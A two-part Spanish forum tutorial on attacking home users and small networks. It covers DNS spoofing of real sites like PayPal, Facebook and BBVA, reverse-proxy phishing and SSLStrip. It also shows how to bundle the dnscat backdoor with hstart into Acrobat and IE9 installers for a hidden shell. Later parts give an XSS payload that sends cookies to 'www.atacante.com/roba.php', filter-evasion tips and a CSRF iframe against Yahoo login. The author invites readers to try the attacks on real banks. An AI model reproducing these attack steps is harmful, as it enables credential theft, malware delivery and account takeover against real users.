Es MUY IMPORTANTE que existan otras entradas DNS que no estén en poder del atacante puesto que lo que vamos a hacer en esta parte es configurar nuestro sistema para que resuelva los dominios y/o host de Internet que nos interese… aquellos que no nos interesen… que lo resuelvan los DNS Públicos.. así no “nos cargamos” con exceso de trabajo y además… si “nos desconectamos” de la red, los equipos víctima seguirán tan felices y contentos sin “notar nada”.

Configuración del lado del Atacante:


--- Código: ---IP Pública: 86.32.4.51
IP’s Privadas: 172.28.0.0/24
Máquina atacante: 172.28.0.66 /24
Puerta enlace: 172.28.0.254
DNS’s: 195.235.113.3 80.58.0.33

El Router del atacante hace NAT de los puertos 53 UDP, 80 y 443 TCP hacia la máquina del atacante (172.28.0.66)
--- Fin del código ---

Luego, lo primero que tenemos que hacer (o disponer) en la red del atacante es “algo” que resuelva los dominios que queremos falsear, podemos instalarnos un Bind o un Server DNS… pero…. Tenemos que dar respuestas con “autoridad” y va ser mas complicado de ese modo…

Así que vamos a recurrir a otras herramientas, sencillas y eficaces.

Concretamente usaremos para este primer objetivo la suite de Nbtools, las tenemos disponibles para Windows y para Linux, y de verdad… funcionan a la perfección (hasta en Windows funcionan bien!!, para estos ejemplos usaremos la “versión linux” puesto que una de las cosas que haremos será modificar el código original de esta suite… y con linux es mas cómodo.

http://www.skullsecurity.org/wiki/index.php/Nbtool

Este conjunto de paquetes es muy bueno y consta de varias herramientas:

*DNS backdoor (dnscat)
*NetBIOS queries, registrations, and releases (nbquery)
*NetBIOS sniffing and poisoning (nbsniff)
*Cross-site scripting over DNS (dnsxss)
*DNS sniffer (dnslogger)
*DNS tester (dnstest)

De todos ellos usaremos dnscat y dnslogger, aunque no dejéis escapar ni practicar con dnsxxs ¡!!!

Dnscat es una puerta trasera… como lo haría netcat pero por el puerto 53 de UDP y esto trae como mayor ventaja que los cortafuegos de la red víctima van a dejar pasar ese tráfico, afirmaría que al 100%. Utilizaremos dnscat cuando queramos “colar” el backdoor a la víctima, y tiene otra ventaja… los antivirus!!! No lo reconocen como “peligroso”, os dejo un pantallazo del escaneo con virustotal:



Dnslogger es un esniffer dns con algo mas… además de husmear las conexiones dns que recibimos es capaz de enviar una respuesta autoritativa al cliente que o solicite… de ese modo no necesitamos un servidor dns corriendo en nuestra máquina, dnslogger lo hará por nosotros.

Funciona “parecido” a dnspoof sólo que responde a todas las peticiones dns con la ip que le digamos, esto tiene sus ventajas y sus inconvenientes… el principal problema es que si queremos hacer spoof de unos cuantos dominios y no de todos pues dnslogger no nos lo permite y eso es lo que nosotros queremos hacer…

Entonces?? Por qué elegir este y no otros como dnspoof?? Pues la principal razón es porque con todos los otros que he probado no se obtuvieron los resultados deseados… casi todas las herramientas de spoofing dns se basan en ataques MiTM y funcionan muy bien en red local, pero cuando los sacas de paseo a Internet… bueno, no iban del todo bien.

Así que a grandes males, grandes remedios… Modifiqué el código fuente de dnslogger.c de tal forma que admita como parámetro un archivo con la lista de host o de dominios a falsear.

De esa modificación salen dos archivos nuevos que no existen obviamente en la suite original, estos son:

dnslogger_host y dnslogger_dom

ambos utilizan un archivo que se pasa como parámetro por consola –F archivodehost

y leerá dicho archivo para determinar qué debe responder y qué no debe responder.

Por qué dos?? Qué diferencia existe entre dnslogger_host y dnslogger_dom ??

Pues el primero falsea “exactamente” lo que le indique el archivo mientras que el otro falsea todo el dominio, es decir… supongamos que el archivo contiene esto:

http://www.facebook.com
http://www.paypal.com

dnslogger_host sólo suplantará esos y exactamente esos
dnslogger_dom falseará todo lo que termine en facebook.com y/o paypal.com

Es decir, si el cliente vícitma solicita que le resuelvan la dirección login.facebook.com pues dnslogger_host no lo hará puesto que no está en la lista mientras que dnslogger_dom sí responderá.

Estarás preguntando… hombre… parece mejor dnslogger_dom… es como “mas completo” y no hará falta especificar cada máquina de un mismo dominio….

Pues sí, es cierto, eso parece… pero… en la práctica puede (hay) algún que otro problema… por ejemplo, aunque lo veremos mas adelante, paypal utiliza varios “métodos” de control para que no se “redirijan” sus contenidos… estos métodos pueden ser url estáticas, examinar la cabecera referrer, cookies, etc.. pues bueno, al caso, si falseamos todo el dominio paypal.com y lo hacemos pasar por el proxyreverse de apache nos encontraremos que “no se ve bien” en el navegador del cliente y obviamente desconfiará y/o no seguirá con la sesión.

Se podría solucionar echando mano de mod_rewrite, mod_replace, mod_http_headers, etc en nuestro apache… pero… jooooo, es una lata.

Si por el contrario sólo falseamos algunas de las máquinas del dominio paypal.com todo funcionará a la perfección.

Y también ocurre en el caso contrario… por ejemplo, bbva.es utiliza un montón de “otras” máquinas además de http://www.bbva.es pero no tiene “ese mismo” control del que hablábamos antes… y será mas cómodo falsear todo el dominio que ir colocando máquina por máquina… al menos será mas rápido.

Vamos que como todo en la vida, no hay “aplicación mágica universal” que sirve para todo… por eso los dos.

Podéis descargar la versión “modificada” de nbtools (que incluyen estos dos nuevos programas dnslogger_host.c y dnslogger_dom.c) desde:

http://www.megaupload.com/?d=IUSBE3NJ

No voy a explicar el contenido de las modificaciones… para eso ya tenéis el código fuente… sólo tenéis que buscar Vic_Thor dentro del código fuente de esos dos archivos y os irán saliendo las partes añadidas/retocadas.

Lógicamente también he modificado el archivo Makefile para que se compilen los dos añadidos y así nadie tenga problemas a la hora de compilarlo y ejecutarlo…

Lo que no está hecho son las modificaciones para que corran en Windows… si alguno quiere hacerlo….

Ahora, antes de seguir vamos a ver cómo funciona dnslogger y “nuestras variantes” dnslogger_host y dnslogger_dom, el primer vídeo

VIDEO 01 – Configuración atacante y dnslogger

http://vmthor.site50.net/videosp4/video01.swf

Después habilitamos el reenvio: echo 1 > /proc/sys/net/ipv4/ip_forward

VIDEO 02 – Ejecución de nbtools -dnslogger (original)

http://vmthor.site50.net/videosp4/video02.swf

Y si vemos como está la chaé dns del cliente...

VIDEO 02b –Reolución DNS del cliente

http://vmthor.site50.net/videosp4/video02b.swf

Como hemos visto en el vídeo se resuelven TODAS las peticiones DNS de la víctima con la ip designada en dnslogger (-A 86.32.4.51) ahora veamos como funcionan las “modificaciones”, necesitaremos un archivo que guarde los host a falsear y veremos que sólo estos se responderán con la ip del atacante, el resto los resolverá el DNS secundario de la víctima y le entregará las ip’s “buenas”.

VIDEO 03 – Funcionamiento de dnslogger_host

http://vmthor.site50.net/videosp4/video03.swf

También observa en el vídeo anterior que http://www.facebook.com se resuelve “falseado” mientras que login.facebook.com se resuelve con su direccióm IP real!!! Esto es porque usamos dnslogger_host y login.facebook.com no aparece en la lista de host a falsificar.

VIDEO 04– Funcionamiento de dnslogger_dom

La sintaxis es idéntica al anterior, solo que tomará el dominio en lugar de la máquina, por tanto, falseará login.facebook.com que antes no se hacía.

El código del programa escribe un archivo en /var/tmp un archivo llamado dominios.dom si no existe ese directorio créalo antes y dale permisos de escritura.

http://vmthor.site50.net/videosp4/video04.swf

Bueno, ya tenemos nuestro “dns” falso… sin embargo esto no quiere decir que podamos mostrar las páginas de facebook, de paypal, etc.. sólo resolvemos el nombre con la ip indicada, si el cliente en lugar de hacer un ping solicita la página web pues nada, de nada…

VIDEO 05– Las páginas correspondientes a los host falseados no se muestran

http://vmthor.site50.net/videosp4/video05.swf

Así que ahora debemos usar nuestro “famoso” proxyreverse con apache… pero si lo hacemos tal y como lo vimos en la parte III resultará que TODAS las peticiones del cliente de los hosts falseados se van a http://www.wadalbertia.org y eso no está bien… pero vamos a ver un vídeo para que (ya de paso) sepamos como ir configurando apache.

VIDEO 06– Reverse Proxy funciona pero todos los hosts falsificados se van a la dirección de proxypass y proxyreverse.

http://vmthor.site50.net/videosp4/video06.swf

Como hemos visto los host o dominios que no están en la lista se resuelven y muestran las páginas adecuadas mientras que aquellos hosts/dominios que están en la lista pasan por el Proxy… pero siempre se van a Wadalbertia!!! Y no a la web adecuada.

Para solucionar este pequeño problemilla, tenemos que usar VirtualHost en Apache tal y como ya dije en el hilo de esa parte tercera… si queremos responder “adecuadamente” tendremos que incluir tantos VirtualHost como máquinas que incluimos en el archivo falsear de ese modo se enviarán correctamente.

Tenemos que incluir como VirtualHost las máquinas que nos interesen… así mas o menos:


--- Código: ---NameVirtualHost *:80

### Para WADALBERTIA

Listen 0.0.0.0:80
<VirtualHost *:80>
  ServerName http://www.wadalbertia.org
ServerAlias http://www.wadalbertia.org
ProxyPreserveHost On
ProxyRequests Off
<Proxy *>
    Order deny,allow
    Allow from all
  </Proxy>
ProxyPass / http://www.wadalbertia.org/
  ProxyPassReverse / http://www.wadalbertia.org/
<Location />
    Order allow,deny
    Allow from all
  </Location>
</VirtualHost>
--- Fin del código ---



--- Código: ---## Para ADOBE

<VirtualHost *:80>
   ServerName http://www.adobe.com
ServerAlias http://www.adobe.com
ProxyPreserveHost On
ProxyRequests Off
<Proxy *>
    Order deny,allow
    Allow from all
  </Proxy>
ProxyPass / http://www.adobe.com/
   ProxyPassReverse / http://www.adobe.com/
  <Location />
    Order allow,deny
    Allow from all
  </Location>
</VirtualHost>
--- Fin del código ---



--- Código: ---## Para FACEBOOK

<VirtualHost *:80>
  ServerName http://www.facebook.com
ServerAlias http://www.facebook.com
ProxyPreserveHost On
ProxyRequests Off
<Proxy *>
    Order deny,allow
    Allow from all
  </Proxy>
  ProxyPass / http://www.facebook.com/
  ProxyPassReverse / http://www.facebook.com/
<Location />
    Order allow,deny
    Allow from all
  </Location>
</VirtualHost>
--- Fin del código ---


Y así sucesivamente con todos los que queramos… lo vemos:

VIDEO 07 Reverse Proxy y VirtualHost

http://vmthor.site50.net/videosp4/video07.swf

Advierte en el anterior vídeo que aquellos hosts que se falsean (paypal.es, bbva.es, etc.) y que NO APARECEN en las directivas VirtualHost de Apache muestran lo que tiene el VirtualHost por defecto, por eso es conveniente incluir tantos VirtualHost en apache como máquinas que figuren en el archivo falsear cuando lanzamos dnslogger_host o dnslogger_dom
Ahora bien, ¿qué pasará cuando accedemos a una web por https?

Vamos a añadir la máquina http://www.paypal.com y su virtualhost correspondiente… también meteremos a http://www.bbva.es y su virtualhost…

VIDEO 08 Reverse Proxy,VirtualHost y SSL

http://vmthor.site50.net/videosp4/video08.swf

Pues lo que se esperaba… para poder acceder tanto paypal.com como bbva.es es necesario hacerlo por https no por http y como no tenemos VirtualHost para los puertos 443 (ni otras muchas cosas) configurados… pues no podemos (de momento)

Vamos a hacer un alto en esto de Apache y juguemos con otra herramienta…

A ver, por el momento ya somos capaces de hacernos pasar por el dominio o máquina que se nos antoje de cara a la red victima…

¿Y si hacemos un MitM con SSLStrip??

Jejeje, mala sombra que tenemos no??

Pues sí, funcionará sin problemas… es mas… no vamos ni a necesitar apache corriendo porque se va a encargar SSLStrip de ello… tan solo con tener el reenvío activado (que ya está desde hace muuuchoooo) y lanzar SSLStrip, bastará!!!

VIDEO 09 SSLStrip con dnslogger_host o dnslogger_dom

http://vmthor.site50.net/videosp4/video09.swf

Fácil, no??? Pues como "práctica adicional" os invito a que intentéis lo mismo (por ejemplo) con:

http://www.gruposantander.es o http://www.bancosantander.es

¿Qué pasa?

VIDEO 10 SSLStrip no siempre es la “solución” por sí solo…

http://vmthor.site50.net/videosp4/video10.swf

Y si el “mozo” teclea directamente https://www.paypal.com ¿??

Pues eso, que entonces SSLStrip no se “percata” puesto que la conexión va directamente contra el puerto 443 y no contra el 80, por todo ello y por mas otras cosas necesitaremos nuestro apache

Vamos a realizar otro “alto en el camino”…

Porque esto que vamos a comentar ahora igual lo necesitamos mas adelante (no todo, pero casi todo)

Recordáis que al principio del hilo hablaba acerca de dnscat???

Pues llegó el momento!!! Vamos a instalarle dnscat a la víctima, bueno, realmente podríamos instalarle cualquier cosa pero como estamos con esto….

La idea es que el “infeliz” internauta se descargue y EJECUTE el troyano, ya… estarás pensando que no lo hará…. Pero…. Y si le obligamos a que descargue lo que descargue además de “eso” que él quiere bajarse a su máquina le colamos “lo nuestro”???

Vamos a realizar “dos prácticas” una de pruebas (para entender lo que tenemos entre manos) y otra un poco más elaborada (controlada y fijando como objetivo, por ejemplo Acrobat Reader y a windowsupdate)

En este próximo vídeo vamos a controlar “sus descargas” de tal forma que si accede a cualquiera de los dominios “falseados” (los que existan en el archivo falsear) siempre se descargue… por ejemplo… skype!!!

Es decir… el usuario victima navega hacia la web de adobe para descargar de http://www.showmypc.com (que por cierto os lo recomiendo para administrar remotamente equipos) o hacia donde sea… siempre se descargue el archivo winrar.exe

Para no hacerlo muy largo, controlaremos solo las descargas que realice la victima desde showmypc.com y cualquier aplicación de sourceforge.net

Y en esta ocasión, ya que pueden cambiar los hosts de descarga… usaremos dnslogger_dom en lugar de dnslogger_host. De este modo si por ejemplo para descargar showmypc unas veces se hace desde d1.showmypc.com otras desde download3.showmypc.com, etc… no necesitaremos “chiquicientas” máquinas en Virtualhost…

VIDEO 11 Controlando las descargas (prueba 1)

http://vmthor.site50.net/videosp4/video11.swf

La reglas de mod_rewrite aplicadas son muy simples:


--- Código: ---   RewriteEngine On
RewriteRule ^(.+).extensión_que_se_reemplazará$ http://nueva_dirección_a_escribir/ruta/archivo.extensión
--- Fin del código ---
   
Y otra práctica mas… para vosotros, calro...

¿qué tal si probáis esto mismo con?:

http://www.winrar.es y/o con downloads.winrar.es

Como veréis “tal y como” se creó la regla de mod_rewrite con esta no funciona… así que a estudiar y a postear el código necesario para que cuando se quieran descargar winrar.exe se “redirija” a Skype.exe

Vale… vamos a “afinar” un poquito mas… al igual que los casos anteriores, nos centramos en una sola aplicación… seguimos con Acrobat Reader…

kikerap:
Vamos a “meter” el troyanito dnscat.exe “junto” con el paquete de Acrobat Reader con la esperanza de que nuestra víctima tenga la necesidad de descargarlo o podemos usar alguna de las actualizaciones de Windows Update… que esas seguro que se descargan con frecuencia … podemos usar como “conejillo de indias” al flamante Internet Explorer 9…

Pues a ello… para que esto sea real como la vida misma necesitamos una copia “limpia” tanto de IE9 como de la última verisón de Acrobat Reader… así que a descargarlos en un equipo de la red atacante…

Cuando los tengamos, los vamos a juntar con dnscat.exe (o con lo que mas rabia nos de) y como el usuario de lo descargó de la web oficial pues lo instalará tarde o temprano…

Una vez que esto se cumpla, también se copiarán los archivos y los ejecutará el paquete de instalación!!!

Cómo? Pues hombre, seguro que tienes mas de un joinner o empaquetador o generador de instalaciones… pero no los necesitas… XP incorpora una herramienta muy poco conocida que se llama iexpress.exe (que nos viene al dedo para esto)

Sin embargo hay “otro problema” dnscat.exe se ha de ejecutar desde la línea de comandos… y eso “canta” porque se nos queda la ventanita negra en la vícitma… y no es bueno… además, si la cierra se acaba el “invento”.

Lo solucionamos en un momentito… pero antes vamos a ver como funciona dnscat suponiendo que ya se lo instalamos y ejecutamos…

VIDEO 12 Funcionamiento de dnscat.exe para Windows

http://vmthor.site50.net/videosp4/video12.swf

Bien… como hemos visto con dnscat obtenemos un shell de la víctima… pero la dichosa pantallita delata a dnscat.

Lo solucionamos con “otra” herramienta… se llama Hidden Start (hstart.exe) y la podemos descargar desde:

http://www.ntwind.com/software/utilities/hstart.html

Asumiendo que hemos conseguido “subir” a la victima dnscat.exe y hstart.exe, la cosa cambia… así de sencillo:

VIDEO 13 Funcionamiento de dnscat.exe y hstart.exe

http://vmthor.site50.net/videosp4/video13.swf

Ahora sólo tendríamos que ser “creativos” con los nombres dnscat y/o hstart para que se confundan con procesos de Windows o similar… ya sabes

Llega la hora de “empaquetarlo” todo… como ya adelanté en Windows XP existe un programa llamado iexpress.exe que es “muy cómodo”… para el engaño necesitaremos la aplicación (en nuestro ejemplo Acrobat reader y/o la beta de Internet Explorer 9), el archivo .bat (s.bat) que ejecutará lo visto antes, hstart.exe y dnscat.exe.

Todo eso lo empaquetaremos con iexpress.exe y mediante la técnica del mod_rewrite vista antes (Vídeo 11) cuando nuestro infortunado cliente se descargue el Acrobat o IE9 además de eso que él quiere, se llevará nuestras “cosas” y si lo ejecuta, se instalará y ya está!!!

Veamos el vídeo de cómo hacer “el paquete” cabe destacar que si no usas XP (2003, 2008, W7, Vista…) necesitarás iexpress.exe, makecab.exe y wextract.exe sólo los tienes que copiar de un XP y punto.

VIDEO 14 Empaquetando herramientas.

http://vmthor.site50.net/videosp4/video14.swf

Ya tenemos los programas “originales” junto con nuestro dnscat… si además usamos Reshack para cambiarles los iconos… pues mejor que mejor…

Cuando el usuario “visite” la web de adobe y se descargue la última verisón de Acrobat o si le da por probar o instalar IE9… pues… eso…

En el siguiente vídeo se muestra eso mismo… y además, como ya comente, utilicé ResHack para poner los iconos “buenos” de cada aplicación… así cuando se los descargue será de “mas realismo”

Guardamos en el directorio /var/www de la máquina atacante los archivos "modificados" para que obligar al cliente a que los descargue...

(el directorio /var/www/ es el DocumentRoot de los VirtualHost de apache que crearemos para esta ocasión)

VIDEO 15 Fin de la jugada…

http://vmthor.site50.net/videosp4/video15.swf

Bien, esta Parte IV está siendo mas extensa de lo que esperaba… así que la vamos a dividirla… hasta aquí este primer avance… nos queda atacar a SSL con nuestro ReverseProxy, certificados “a medida” y demás… por el momento, suficiente.

PD: Los vídeos los podéis descargar de:

http://www.megaupload.com/?d=AW396I02

Están comprimidos en un rar y la contrraseña para descomprimir es: El_Lider_DWFP
 

 
5ª PARTE

Antes de comenzar quiero hacer una DEDICATORIA muy, muy especial…

“A mi hermano Javier que murió hace cuatro días después de luchar contra un cáncer.

Durante julio y agosto esta “saga” de Y tras el Router Qué? Me ayudó a pasar las noches de vigilia, los días de sufrimientos y esperanzas.

Soy yo quien agradece a estos foros por encontrar un lugar en el que pude evadirme de la realidad que me acompañó en estos últimos meses, la lucha que tenía Javier contra “todo” venía de mucho mas atrás, pero fueron estos últimos meses los que mas encontró a “su gente” y con nosotros, también estabais todos vosotros sin saberlo.

Te fuiste de mi lado un día… mientras escribía esta quinta parte, la termino para ti. El dolor que me has dejado, duele… duele mucho, pero no es comparable con la alegría de haber podido disfrutar de tu compañía, de haber estado a tu lado.

Javi, esto es lo que hacía cuando me preguntabas… por ello te dedico estas líneas para que aquellos que lean estos foros, estos últimos mensajes mios, te recuerden sin conocerte, GRACIAS a ti… sin ti esto quizás no hubiese salido de la misma forma.”

Y otra cosa, la última: Sé que más de uno de vosotros estará tentado a enviarme sus condolencias, por mensaje o directamente en este hilo… no lo hagáis, os lo pido por favor.

Vale… después de unas cuantas lágrimas y varios suspiros… empecemos:

Un resumen de lo que viene, primero de lo que ya NO es:


--- Código: --- * No tenemos “control” directo del router y/o red víctima.
* No podemos cambiar configuración alguna del equipo, router o red víctima.
* No conocemos nada acerca de la configuración de la red víctima, sólo su ip pública.
--- Fin del código ---
   
   
Ahora lo que SI conocemos:


--- Código: ---* Conocemos que es “asiduo” de algún foro/blog/red social (en nuestros ejemplos serán Wadalbertia, Yahoo mail, Facebook y Footbag)

* Conocemos su nick, cuenta de correo, nombre de usuario o similar.
--- Fin del código ---
   
Y por último lo que intentaremos y técnicas a utilizar:


--- Código: --- * Intentaremos hacernos pasar por esos servidores/servicios con el objeto de:

a.- Robar sus contraseñas
b.- Suplantar la sesión activa
c.- Controlar el navegador del cliente víctima
--- Fin del código ---
      

--- Código: ---* Usaremos técnicas de:

1.- ProxyPass y ProxyPassReverse con apache
2.- Envío de correo o spam con ataques Cross Site Scripting Persistentes
3.- Cross Site Request Forgery (CSRF)
4.- Control del navegador y ejecución de comandos con XSS-Shell
5.- Secuestro de sesión http mediante túneles XSS
6.- Acceso a la Red local Víctima con Anti DNS pinnig y Rebind DNS
--- Fin del código ---
Obviamente hay muchas otras técnicas y pruebas que podemos realizar, pero elegí estas porque (aunque alguna tiene la “solera” de 16 años, siguen activas y vigentes) son como más novedosas, atrevidas, desconocidas por muchos, poco “comentadas” en nuestros foros y.. en definitiva, mas arriesgadas a la vez que efectivas, de todas ellas seguro que encontraréis suficiente información en la web, pero seguro que “pocas” o ninguna con el detalle y ejecución “hasta el final” para conseguir el objetivo, no es por vanagloria personal, pero así es.

Todo no es “gratuito”, para alguna de ellas precisaremos de algunos recursos “extra” como por ejemplo algún dominio REAL y registrado por el atacante… y claro… este pequeño texto que seguro a mas de uno le acompañará muchas horas de estudio y trabajo… por todo ello, no es del todo “gratuito”.

También nos vamos a alejar un tanto de “los grandes” y nos centraremos en pequeñas redes y/o usuarios domésticos, así será mas asequible para todo el mundo.

Como introducción a lo que nos ocupa, creo que ya está bien… ahora manos a la obra.

1.- Robo de contraseñas, ingeniería social y algo de fortuna…

Hasta ahora hemos usado apache con mod_proxy para “interponer” un Proxy entre el atacante y la víctima, lo hacíamos con efectividad porque ya habíamos conseguido que nuestros “clientes” usaran como servidor DNS primario la propia máquina del atacante..

Ahora, no será así… ya no disfrutamos de esa enorme ventaja, en su lugar tendremos que acudir al “engaño” y hacernos pasar por quien realmente no somos.

Tenemos que intentar “a toda costa” que los clientes visiten nuestra web y/o incitarles a que sigan un enlace con destino a una web del atacante… o directamente hacia la máquina del atacante.

Digamos que es como un “ataque reactivo” la víctima acude y nosotros respondemos con “malas formas”.

En este primer ejemplo “asumimos” que el atacante tiene registrados y dispone de control total de “dominios” similares a los que pretende falsificar, en nuestro ejemplo wadalbertia.com

wadalbertia.com (dominio sin registrar todavía y que suplantará al verdadero que son nuestros foros de wadalbertia.org)

Como wadalbertia.com está (suponemos) en poder del atacante, éste interpondrá el Proxy y capturará contraseñas de acceso.

Para este ejemplo y todos los que se sucederán (tal y como dijimos antes) sabemos la dirección mail de la vícitma y obviamente la del atacante… en todos los ejemplos usaremos:
[email protected] como cuenta de la vícitima
[email protected] como cuenta de correo del atacante.[/list]

Estas cuentas han sido activadas expresamente para todos nuestros ejercicios, y como has de suponer, tras la publicación de este texto están suspendidas o eliminadas.

Bien, pues suponiendo que el dominio wadalbertia.com esté en poder del atacante y que en el DNS se haya creado una entrada hacia http://www.wadalbertia.com sólo tenemos que configurar nuestro servidor web con el virtualhost correspondiente y proxypass


--- Código: ---NameVirtualHost *:80
Listen 0.0.0.0:80
<VirtualHost *:80>
  ServerName http://www.wadalbertia.com
ServerAlias http://www.wadalbertia.com
ProxyPreserveHost off
ProxyRequests off
ProxyVia off
<Proxy *>
    Order deny,allow
    llow from all
  </Proxy>
ProxyPass / http://www.wadalbertia.org/
  ProxyPassReverse / http://www.wadalbertia.org/
<Location />
Order allow,deny
Allow from all
  </Location>
</VirtualHost>
--- Fin del código ---


Y para que la victima acuda.. podemos enviarle un mail

Video 01: Suplantación con ProxyPass de Wadalbertia.com


Y si fuese https???

Por ejemplo con http://www.facebook.com y con https://login.facebook.com

Mas difícil… la solución vendrá “tras vuestros avances” de momento no doy pistas, lo probáis que con todo lo que ya hemos aprendido hay para un rato.

2.- Envío de correo o spam con ataques Cross Site Scripting Persistentes

Bien, antes de empezar con el asunto tendríamos que hablar de XSS y de lo XSS persistentes.

De Cross Site Scripting (XSS) no voy a decir nada nuevo, ya sabemos de lo que trata y que “en condiciones normales” actúa contra el navegador del cliente y que “a veces” se usa para robo de cookies y otras fugas de información, habitualmente con código javascript.

Consiste en “obligar” a la víctima seguir un enlace (mediante un clic directo, mediante imágenes, mediante frames, mediante flash, mediante descargas pdf, videos, etc.,,) y ese enlace “conecta” con el servidor web y/o aplicación afectada.

Una vez que eso ya se consiguió se puede redirigir al cliente, presentarle información “errónea”, enviar información privada a un tercero y todo lo que ya conocemos.

Los XSS “habituales” suelen ser url’s con “cosas raras” (en ocasiones sumamente raras), a veces muy largas, casi siempre con caracteres y o contenidos en los equivalentes hexadecimales y no en texto legible.

Un ejemplo: (de un banco… para que veamos que no todo el monte es orégano)

http://www.bankofireland.ie/site-search/htsearch?words=%3Cscript%3Ealert%28%22Diosz%20Esxiste!!!%22%29%3C%2Fscript%3E&Submit=GO


--- Código: ---http://www.bankofireland.ie/site-search/htsearch?words=%3Cscript%3Ealert%28%22Diosz%20Esxiste!!!%22%29%3C%2Fscript%3E&Submit=GO
--- Fin del código ---

Otro ejemplo… este “imaginario”


--- Código: ---http://www.ejemplo.com/phpBB2/privmsg.php?mode=%22%3e%3c%73%63%72
%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61
%74%69%6f%6e%2e%68%72%65%66%3d%e2%80%99%68%74%74%70%3a%2f%2f
%77%77%77%2e%61%74%61%63%61%6e%74%65%2e%63%6f%6d%2f%72%6f%62
%61%2e%70%68%70%3d%e2%80%99%2b%64%6f%63%75%6d%65%6e%74%2e%6
%6f%6f%6b%69%65%65%3b%3c%73%63%72%69%70%74%3e
--- Fin del código ---

que “en texto claro es esto”:


--- Código: ---http://www.ejemplo.com/phpBB2/privmsg.php?mode=”>
<script>alert(document.cookie);document.location.href=’http://www.atacante.com/roba.php=’+document.cookiee;<script>
--- Fin del código ---

Tanto este último como el anterior son “sospechosos” y el que lo vea pues como que no… imagina postear eso en un blog, en un foro o recibir un correo “invitándote” a pinchar en ese enlace…

Para “disimular” podemos usar el servicio de minilink, por ejemplo esto mismo es un enlace hacia el segundo: http://minilink.es/zu

De este tipo hay muchos por la red, como tiny.cc… esto sería lo mismo para el ejemplo del banco: http://tiny.cc/pbx55

Bueno, dejando a parte la habilidad con el que un XSS nos puede afectar y la forma en que lo presentamos, tenemos que ver qué es eso del XSS persistente.

Como acabamos de ver, si un visitante pincha en el enlace del banco que pusimos o mediante otros métodos obligamos a que se “lo trague” (una imagen o iframe oculto) pues aparecerá la ventanita esa de que Diosz Existe!!!.

Pero para ello tuvimos que “inyectar” el código XSS en el enlace real… pues bien, un XSS Persistente es aquel que de una forma u otra una vez “inyectado” PERMANECE y el visitante que accede a la web (sin añadir el XSS) se ve afectado.

Un ejemplo “muy básico”: http://vmthor.site50.net/miblog2/pagina.php

Esta “web” admite un parámetro que se llama param=lo-que-sea

De tal modo que lo-que-sea es el texto que se “posteará” en ese “blog” y se presupone que quedará almacenado por algún lugar….

Es decir, si ponemos:
--- Código: ---http://vmthor.site50.net/miblog2/pagina.php?param=Wadalbertia
--- Fin del código ---

La palabra “Wadalbertia” se escribirá en pantalla como resultado, esto:


--- Código: ---Contenido de archivo.txt = Wadalbertia
--- Fin del código ---

El filtro de entrada sustituye algún que otro carácter.. por ejemplo, si pinemos


--- Código: ---http://vmthor.site50.net/miblog2/pagina.php?param=”Wadalbertia”
--- Fin del código ---

aparecerá esto otro:


--- Código: ---Contenido de archivo.txt="Wadalbertia"
--- Fin del código ---
Como vemos, el filtro sustituye las comillas por " como medida “disuasoria”

Qué pasaría si ponemos:

--- Código: ---?param=<script>alert(“Dios Existe!!!”)</script>
--- Fin del código ---

Pues si lo dejase pasar el filtro, todo el que visualizase es “post” sufriría el XSS persistente, no funcionará porque tenemos que usar alguna técnica de “filter evasion” , una de las más conocidas y funcionales es utilizar la función javascript String.fromCharCode.

A esta función le deben seguir los valores en decimal equivalentes a los caracteres que deseasemos, bueno en el vídeo lo veremos mejor.

Una web “cómoda” para traducirlo es:

http://home2.paulschou.net/tools/xlate/

Veamos en el vídeo como somos (incapaces) y luego capaces de inyectar ese XSS.

Vídeo 02: XSS Persistente de forma simplificada.


Te invito que pruebes esto mismo con:

http://vmthor.site50.net/miblog/blog.html

Así te entretienes un ratito…

Ahora tenemos que “ver” otro concepto, el CSRF.

También encontraréis sobrada información de ello por Internet, sólo apuntaré que CSRF no es otra cosa que “la confianza” que tienen las aplicaciones, ventanas o pestañas del navegador en otras que estaban abiertas antes que la nueva.

De todos es conocido que cuando navegamos por Internet y pinchamos en un enlace, en ocasiones, se nos abre una nueva ventana del explorador o una nueva pestaña… otras veces el contenido de ese enlace se muestra en la ventana activa… es lo normal.

Y qué pasa si ese enlace pretende (por ejemplo) cerrar la sesión que teníamos activa en otra ventana… pues que como unas confían en otras… se cierra.

Vemos un vídeo de cómo un usuario de yahoo mail pincha en un enlace que le llega por correo y cuando “regresa” a ver/leer mas correos se encuentra que su sesión se cerró.

El atacante envía un correo a [email protected] y cuando éste lee el correo y pincha en el enlace…

El código del enlace “maligno” es:


--- Código: ---<html>
<object width="425" height="344">
<param name="movie" value="[youtube]http://www.youtube.com/v/h4y3cfJESzw?hl=es&[/youtube]fs=1"></param>
<param name="allowFullScreen" value="true"></param>
<param name="allowscriptaccess" value="always"></param>
<embed src="[youtube]http://www.youtube.com/v/h4y3cfJESzw?hl=es&[/youtube]fs=1"
type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344">
</embed>
</object>
<iframe src="https://login.yahoo.com/config/login?logout=1" width="0" height="0"></iframe>
</html>
--- Fin del código ---

Vídeo 03: CRSF ejemplo con login yahoo.


Lo que acabamos de ver no deja de ser “molesto” y nada mas… pero… y si gracias (o por desgracia) a esta funcionalidad el usuario recibe un correo, lo abre, pincha en el enlace (o mediante una imagen “mal intencionada”), y tras leer el correo que le llegó sin quererlo ni beberlo… envía 500 correos a una lista de distribución.

Navegación

[0] Índice de Mensajes

[#] Página Siguiente

Ir a la versión completa